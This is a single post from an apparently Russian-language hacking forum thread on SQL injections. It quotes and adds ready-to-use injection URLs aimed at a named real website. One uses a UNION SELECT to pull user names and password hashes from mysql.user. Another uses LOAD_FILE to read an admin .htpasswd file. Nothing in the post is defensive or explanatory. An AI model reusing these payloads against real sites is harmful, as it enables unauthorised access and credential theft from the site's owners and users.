SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

21.03.2007, 23:21

ice1k

Постоянный

Регистрация: 01.01.2007

Сообщений: 551

С нами: 10188326

Репутация: 1866

Цитата:

Сообщение от n1†R0x

Код:

http://www.acana.ru/acana.php?razdel_id=-1+union+select+1,concat(user,0x3a,password),3,4,5,6+from+mysql.user+limit+0,1/*

аналогичная ситуация..

Код:

http://www.acana.ru/acana.php?razdel_id=-1+union+select+1,LOAD_FILE('/usr/local/apache/htdocs/admin/.htpasswd'),3,4,5,6/*

^^
LOAD_FILE, etc...
=)

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Загрузка...

Загрузка чата...